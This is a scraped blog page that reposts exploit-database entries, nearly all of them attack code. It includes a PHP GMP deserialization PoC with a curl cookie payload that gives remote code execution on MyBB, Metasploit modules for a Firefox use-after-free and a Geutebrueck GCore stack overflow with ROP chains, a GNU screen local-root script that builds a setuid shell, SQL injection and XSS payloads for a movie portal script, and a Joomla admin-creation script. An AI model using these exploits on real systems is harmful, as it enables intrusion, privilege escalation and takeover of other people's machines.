Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863293315

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20

> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.30

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}
```

zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
	zend_object *zobj;
	zobj = Z_OBJ_P(object);
	if (!zobj->properties) {
		rebuild_object_properties(zobj);
	}
	return zobj->properties;
}
```

It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.

The following codes will prove this vulnerability:
```
<?php

class obj
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 1;
	}
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>
```

Expected result:
```
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
```

Actual result:
```
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}
```

**i) How to exploited this bug in real world?**

When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():

```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;
```

The following codes will prove this exploite way:
```
<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>
```
Of course, a crafted __wakeup() can also be exploited, ex:

```
<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>
```

**ii) Can be exploited this bug in real app?**

Exploited the bug in MyBB:

index.php
```
	if(isset($mybb->cookies['mybb']['forumread']))
	{
		$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
	}
```

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)

**P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**

Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**

index.php
```
eval('$index = "'.$templates->get('index').'";');
```

MyBB always use eval() function in during template parsing.

inc/class_templates.php
```
class templates
{
	...
	public $cache = array();
	...
	function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;
		...
		$template = $this->cache[$title];
		...
		return $template;
	}
```

If we can control the `$cache`, we will be albe to inject PHP code via eval() function.

inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
	case "sqlite":
		$db = new DB_SQLite;
		break;
	case "pgsql":
		$db = new DB_PgSQL;
		break;
	case "mysqli":
		$db = new DB_MySQLi;
		break;
	default:
		$db = new DB_MySQL;
}
...
$templates = new templates;
```

The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.

When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

  class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer

    def initialize(info={})
      super(update_info(info,
        'Name'           => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
        'Description'    => %q{
          This module exploits an out-of-bounds indexing/use-after-free condition present in
          nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
          on Microsoft Windows.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
          [
            'Anonymous Gaijin',                                 # Original research/exploit
            'William Webb <william_webb[at]rapid7.com>'         # Metasploit module
          ],
          'Platform'       => 'win',
          'Targets'        =>
          [
            [ 'Mozilla Firefox',
              {
                'Platform' => 'win',
                'Arch'     => ARCH_X86,
              }
            ],
          ],
          'DefaultOptions'  =>
          {
            'EXITFUNC' => "thread",
            'InitialAutoRunScript' => 'migrate -f'
          },
          'References'     =>
          [
            [ 'CVE', '2016-9079' ],
            [ 'Bugzilla', '1321066' ]
          ],
          'Arch'           => ARCH_X86,
          'DisclosureDate' => "Nov 30 2016",
          'DefaultTarget'  => 0
        )
      )
    register_options(
      [
        OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation.  NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
      ], self.class
    )
  end

  def exploit_html(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
    base_uri = "#{get_resource.chomp('/')}"

    # stuff that gets adjusted alot during testing

    defrag_x = %Q~
       for (var i = 0; i < 0x4000; i++)
         heap80[i] = block80.slice(0)
     ~
     defrag_y = %Q~
       for (var i = 0x4401; i < heap80.length; i++)
         heap80[i] = block80.slice(0)
     ~

    js = %Q~
    var worker = new Worker('#{base_uri}/worker.js');
    var svgns = 'http://www.w3.org/2000/svg';
    var heap80 = new Array(0x5000);
    var heap100 = new Array(0x5000);
    var block80 = new ArrayBuffer(0x80);
    var block100 = new ArrayBuffer(0x100);
    var sprayBase = undefined;
    var arrBase = undefined;

    var animateX = undefined;
    var containerA = undefined;

    var milestone_offset = 0x90;

    var $ = function(id) { return document.getElementById(id); }

    var heap = function()
    {
     var u32 = new Uint32Array(block80)

     u32[4] = arrBase - milestone_offset;

     u32[0xa] = arrBase + 0x1000 - milestone_offset;

     u32[0x10] = arrBase + 0x2000 - milestone_offset;

     var x = document.createElementNS(svgns, 'animate')
     var svg = document.createElementNS(svgns, 'svg')

     svg.appendChild(x)
     svg.appendChild(x.cloneNode(true))

     for (var i = 0; i < 0x400; i++)
       {
         var node = svg.cloneNode(true);
         node.setAttribute('id', 'svg' + i)
         document.body.appendChild(node);
       }
       #{defrag_x}

       for (var i = 0; i < 0x400; i++)
         {
           heap80[i + 0x3000] = block80.slice(0)
           $('svg' + i).appendChild(x.cloneNode(true))
         }

         for (var i = 0; i < 0x400; i++)
           {
             $('svg' + i).appendChild(x.cloneNode(true))
             $('svg' + i).appendChild(x.cloneNode(true))
           }

           for (var i = 0; i < heap100.length; i++)
             heap100[i] = block100.slice(0)

             #{defrag_y}

             for (var i = 0x100; i < 0x400; i++)
               $('svg' + i).appendChild(x.cloneNode(true))
             }

             var exploit = function()
             {
               heap();

               animateX.setAttribute('begin', '59s')
               animateX.setAttribute('begin', '58s')
               animateX.setAttribute('begin', '10s')
               animateX.setAttribute('begin', '9s')

               // money shot

               containerA.pauseAnimations();
             }

             worker.onmessage = function(e)
             {
              worker.onmessage = function(e)
              {
               window.setTimeout(function()
               {
                 worker.terminate();
                 document.body.innerHTML = '';
                 document.getElementsByTagName('head')[0].innerHTML = '';
                 document.body.setAttribute('onload', '')
                 document.write('<blink>')
                 }, 1000);
  }

  arrBase = e.data;
  exploit();
  }


  var idGenerator = function()
  {
   return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
  }


  var craftDOM = function()
  {
   containerA = document.createElementNS(svgns, 'svg')
   var containerB = document.createElementNS(svgns, 'svg');

   animateX = document.createElementNS(svgns, 'animate')
   var animateA = document.createElementNS(svgns, 'animate')
   var animateB = document.createElementNS(svgns, 'animate')

   var animateC = document.createElementNS(svgns, 'animate')

   var idX = idGenerator();
   var idA = idGenerator();
   var idB = idGenerator();
   var idC = idGenerator();

   animateX.setAttribute('id', idX);
   animateA.setAttribute('id', idA);
   animateA.setAttribute('end', '50s');
   animateB.setAttribute('id', idB);
   animateB.setAttribute('begin', '60s');
   animateB.setAttribute('end', idC + '.end');
   animateC.setAttribute('id', idC);
   animateC.setAttribute('begin', '10s');
   animateC.setAttribute('end', idA + '.end');

   containerA.appendChild(animateX)
   containerA.appendChild(animateA)
   containerA.appendChild(animateB)

   containerB.appendChild(animateC)

   document.body.appendChild(containerA);
   document.body.appendChild(containerB);
  }
  window.onload = craftDOM;
    ~

    # If you want to change the appearance of the landing page, do it here

    html = %Q~
    <html>
    <head>
    <meta charset="utf-8"/>
    <script>
    #{js}
    </script>
    </head>
    <body>
    </body>
    </html>
    ~

    if datastore['UsePostHTML']
      f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
      c = f.read
      html = html.gsub("<blink>", c)
    else
      html = html.gsub("<blink>", "")
    end
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
  end

  def worker_js(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload = Rex::Text.to_unescape(p, arch)
    wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
    c = wt.read
    c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
    c = c.gsub("NOPSGOHERE", "\u9090")
    send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
  end

  def is_ff_on_windows(user_agent)
    target_hash = fingerprint_user_agent(user_agent)
    if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
      return false
    end
      return true
  end

  def on_request_uri(cli, request)
    print_status("Got request: #{request.uri}")
    print_status("From: #{request.headers['User-Agent']}")
    if (!is_ff_on_windows(request.headers['User-Agent']))
      print_error("Unsupported user agent: #{request.headers['User-Agent']}")
      send_not_found(cli)
      close_client(cli)
      return
    end
    if request.uri =~ /worker\.js/
      print_status("Sending worker thread Javascript ...")
      worker_js(cli)
      return
    end
    if request.uri =~ /index\.html/ or request.uri =~ /\//

      print_status("Sending exploit HTML ...")
      exploit_html(cli)
      close_client(cli)
      return
    end
  end
end
            
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$ 

Donald Buczek <address@hidden>




EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184
            
# Exploit Title: Geutebrueck GCore X64 Full RCE Bufferoverflow for Metasploit
# Date: 20170125
# Exploit Author: Luca Cappiello, Maurice Popp
# Contact(Twitter): @dopa_mined, @_m4p0
# Github: https://github.com/m4p0/Geutebrueck_GCore_X64_RCE_BO
# Vendor Homepage: http://www.geutebrueck.com/en_US/product-overview-31934.html
# Software Link: None
# Version: 1.3.8.42/1.4.2.37
# Tested on: Win7, Win8/8.1, Win2012R2
# CVE : None
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'
require 'open-uri'

class MetasploitModule < Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp

    Rank = NormalRanking

    def initialize(info = {})
        super(update_info(info,
                          'Name'		   => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
                          'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
                          'License'		=> MSF_LICENSE,
                          'Author'		 =>
                          [
                              'Luca Cappiello',
                              'Maurice Popp'

                          ],
                          'References'	 =>
                          [
                              ['www.geutebrueck.com', '']
                          ],
                          'Platform'	   => 'win',
                          'Targets'		=>
                          [
                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
                          ],
                          'Payload'		=>
                          {
                              'Space' => '2000'
                          },
                          'Privileged'	 => false,
                          'DisclosureDate' => 'Sep 01 2016',
                          'DefaultTarget'  => 0))
    end

    def fingerprint
        print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
        @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
        statistics = @doc.css('modulestate')
        statistics.each do |x|
            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
                mytarget = targets[1]
                # print_status(mytarget.name)
                print_status("Vulnerable version detected: #{mytarget.name}")
                return Exploit::CheckCode::Appears, mytarget
            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
                mytarget = targets[2]
                # print_status(mytarget.name)
                print_status("Vulnerable version detected: #{mytarget.name}")
                return Exploit::CheckCode::Appears, mytarget
                end
        end
        print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
        print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
        print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
        print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
        [Exploit::CheckCode::Unknown, nil]
    end

    def check
        fingerprint
    end

    def ropchain(target)
        if target.name.include? '1.3.8.42'
            print_status('Preparing ROP chain for target 1.3.8.42!')

            # 0x140cd00a9 | add rsp, 0x10 ; ret
            # This is needed because the next 16 bytes are sometimes messed up.
            overwrite = [0x140cd00a9].pack('Q<')

            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
            stack_align = "\x43" * 16

            # We have 40 bytes left to align our stack!
            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
            # and to restore it.
            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

            # 0x1404e5cbf: mov edx, esp ; ret
            stack_align += [0x1404e5cbf].pack('Q<')

            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
            # We pop -XXXXX as \xxxxxxxxx to rax
            # 0x14013db94  pop rax ; ret
            stack_align += [0x14013db94].pack('Q<')
            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')

            # Our value is enough.
            # 0x1407dc547  | add rax,rdx ; ret
            stack_align += [0x1407dc547].pack('Q<')

            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
            stack_align += [0x140ce9ac0].pack('Q<')

            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
            # We want RCX to hold the value for VP Argument "Address of Shellcode"
            # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
            rop = ''
            rop += [0x140cc2234].pack('Q<')
            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
            # 0x1400ae2ae    | POP RDX; RETN
            # 0x...1000        | Value for VP "Size of Memory"
            rop += [0x1400ae2ae].pack('Q<')
            rop += [0x0000000000000400].pack('Q<')

            # 0x14029dc6e:   | POP R8; RET
            # 0x...40                | Value for VP "Execute Permissions"
            rop += [0x14029dc6e].pack('Q<')
            rop += [0x0000000000000040].pack('Q<')

            # 0x1400aa030    | POP R9; RET
            # 0x...            | Value for VP "Writeable location". Not sure if needed?
            # 0x1409AE1A8 is the .data section of gcore; let's test with this writable section...
            rop += [0x1400aa030].pack('Q<')
            rop += [0x1409AE1A8].pack('Q<')

            # 0x140b5927a: xor rax, rax ; et
            rop += [0x140b5927a].pack('Q<')

            # 0x1402ce220 pop rax ; ret
            # 0x140d752b8 | VP Stub IAT Entry
            rop += [0x1402ce220].pack('Q<')
            rop += [0x140d752b8].pack('Q<')

            # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
            rop += [0x1407c6b3b].pack('Q<')

            # 0x140989c41 push rax; ret
            rop += [0x140989c41].pack('Q<')

            # 0x1406d684d jmp rsp
            rop += [0x1406d684d].pack('Q<')

            [rop, overwrite, stack_align]

        elsif target.name.include? '1.4.2.37'
            print_status('Preparing ROP chain for target 1.4.2.37!')

            # 0x140cd9759 | add rsp, 0x10 ; ret
            # This is needed because the next 16 bytes are sometimes messed up.
            overwrite = [0x140cd9759].pack('Q<')

            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
            stack_align = "\x43" * 16

            # We have 40 bytes left to align our stack!
            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
            # and to restore it.
            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

            # 0x1404f213f: mov edx, esp ; ret
            stack_align += [0x1404f213f].pack('Q<')

            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
            # We pop -XXXXX as \xxxxxxxxx to rax
            # 0x14000efa8  pop rax ; ret
            stack_align += [0x14000efa8].pack('Q<')
            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')

            # Our value is enough.
            # 0x140cdfe65  | add rax,rdx ; ret
            stack_align += [0x140cdfe65].pack('Q<')

            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
            # 0x140cf3110 | mov rsp, rax ; ..... ; ret
            stack_align += [0x140cf3110].pack('Q<')

            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
            # We want RCX to hold the value for VP Argument "Address of Shellcode"
            # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
            rop = ''
            rop += [0x140ccb984].pack('Q<')
            rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
            # 0x14008f7ec    | POP RDX; RETN
            # 0x...1000        | Value for VP "Size of Memory"
            rop += [0x14008f7ec].pack('Q<')
            rop += [0x0000000000000400].pack('Q<')

            # 0x140a88f81:   | POP R8; RET
            # 0x...40                | Value for VP "Execute Permissions"
            rop += [0x140a88f81].pack('Q<')
            rop += [0x0000000000000040].pack('Q<')

            # 0x1400aa030    | POP R9; RET
            # 0x...            | Value for VP "Writeable location". Not sure if needed?
            # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
            rop += [0x1400aa030].pack('Q<')
            rop += [0x140FB5000].pack('Q<')

            # 0x140ccea2f: xor rax, rax ; et
            rop += [0x140ccea2f].pack('Q<')

            # 0x14000efa8 pop rax ; ret
            # 0x140d83268 | VP Stub IAT Entry #TODO!
            rop += [0x14000efa8].pack('Q<')
            rop += [0x140d83268].pack('Q<')

            # 0x14095b254 mov rax, qword [rax] ; ret  ;
            rop += [0x14095b254].pack('Q<')

            # 0x140166c46 push rax; ret
            rop += [0x140166c46].pack('Q<')

            # 0x140cfb98d jmp rsp
            rop += [0x140cfb98d].pack('Q<')

            [rop, overwrite, stack_align]

        else
            print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')

        end
      end

    def exploit
        # mytarget = target
        if target['auto']
            checkcode, target = fingerprint
            if checkcode.to_s.include? 'unknown'
                print_status('No vulnerable Version detected - exploit aborted.')
            else
                target_rop, target_overwrite, target_stack_align = ropchain(target)
                begin
                    connect
                    print_status('Crafting Exploit...')

                    http_wannabe = 'GET /'
                    buffer_200 = "\x41" * 200
                    rop = target_rop
                    payload.encoded
                    buffer_1823 = "\x41" * 1823
                    overwrite = target_overwrite
                    stack_align = target_stack_align

                    exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
                    print_status('Exploit ready for sending...')
                    sock.put(exploit, 'Timeout' => 20)
                    print_status('Exploit sent!')
                    # sleep(10)
                    buf = sock.get_once || ''
                rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
                    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
                ensure
                    print_status('Closing socket.')
                    disconnect
                    # sleep(10)
                end
            end

        else
            print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
            print_status("Selected version: #{self.target.name}")
            target_rop, target_overwrite, target_stack_align = ropchain(self.target)
            begin
                connect
                print_status('Crafting Exploit...')

                http_wannabe = 'GET /'
                buffer_200 = "\x41" * 200
                rop = target_rop
                payload.encoded
                buffer_1823 = "\x41" * 1823
                overwrite = target_overwrite
                stack_align = target_stack_align

                exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
                print_status('Exploit ready for sending...')
                sock.put(exploit, 'Timeout' => 20)
                print_status('Exploit sent!')
                # sleep(10)
                buf = sock.get_once || ''
            rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
                elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
            ensure
                print_status('Closing socket.')
                disconnect
                # sleep(10)
            end

      end
    end
end
            
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
            
Exploit Title : Movie Portal Script v7.36 - Multiple Vulnerability
Google Dork :    -
Date : 20/01/2017
Exploit Author : Marc Castejon <marc@silentbreach.com>
Vendor Homepage : http://itechscripts.com/movie-portal-script/
Software Link: http://movie-portal.itechscripts.com
Type : webapps
Platform: PHP
Sofware Price and Demo : $250

------------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_news.php
Vulnerable Parameters: id
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

-----------------------------------------------
Type: Reflected XSS
Vulnerable URL: http://localhost/[PATH]/movie.php
Vulnerable Parameters : f=
Payload:<img src=i onerror=prompt(1)>
---------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_misc_video.php
Vulnerable Parameters: id
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
-----------------------------------------------

Type:Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/movie.php
Vulnerable Parameters: f
Method: GET
Payload:  -4594 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a7871,0x6452766b715a73727a634a497a7370474e6744576c737a6a436a6e566e546c68425a4b426a53544d,0x71627a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------
Type: Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/artist-display.php
Vulnerable Parameters: act
Method: GET
Payload:  UNION ALL SELECT
NULL,CONCAT(0x71706a7871,0x6b704f42447249656672596d4851736d486b45414a53714158786549644646716377666471545553,0x717a6a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/film-rating.php
Vulnerable Parameters: v
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
            
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email))
            
#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
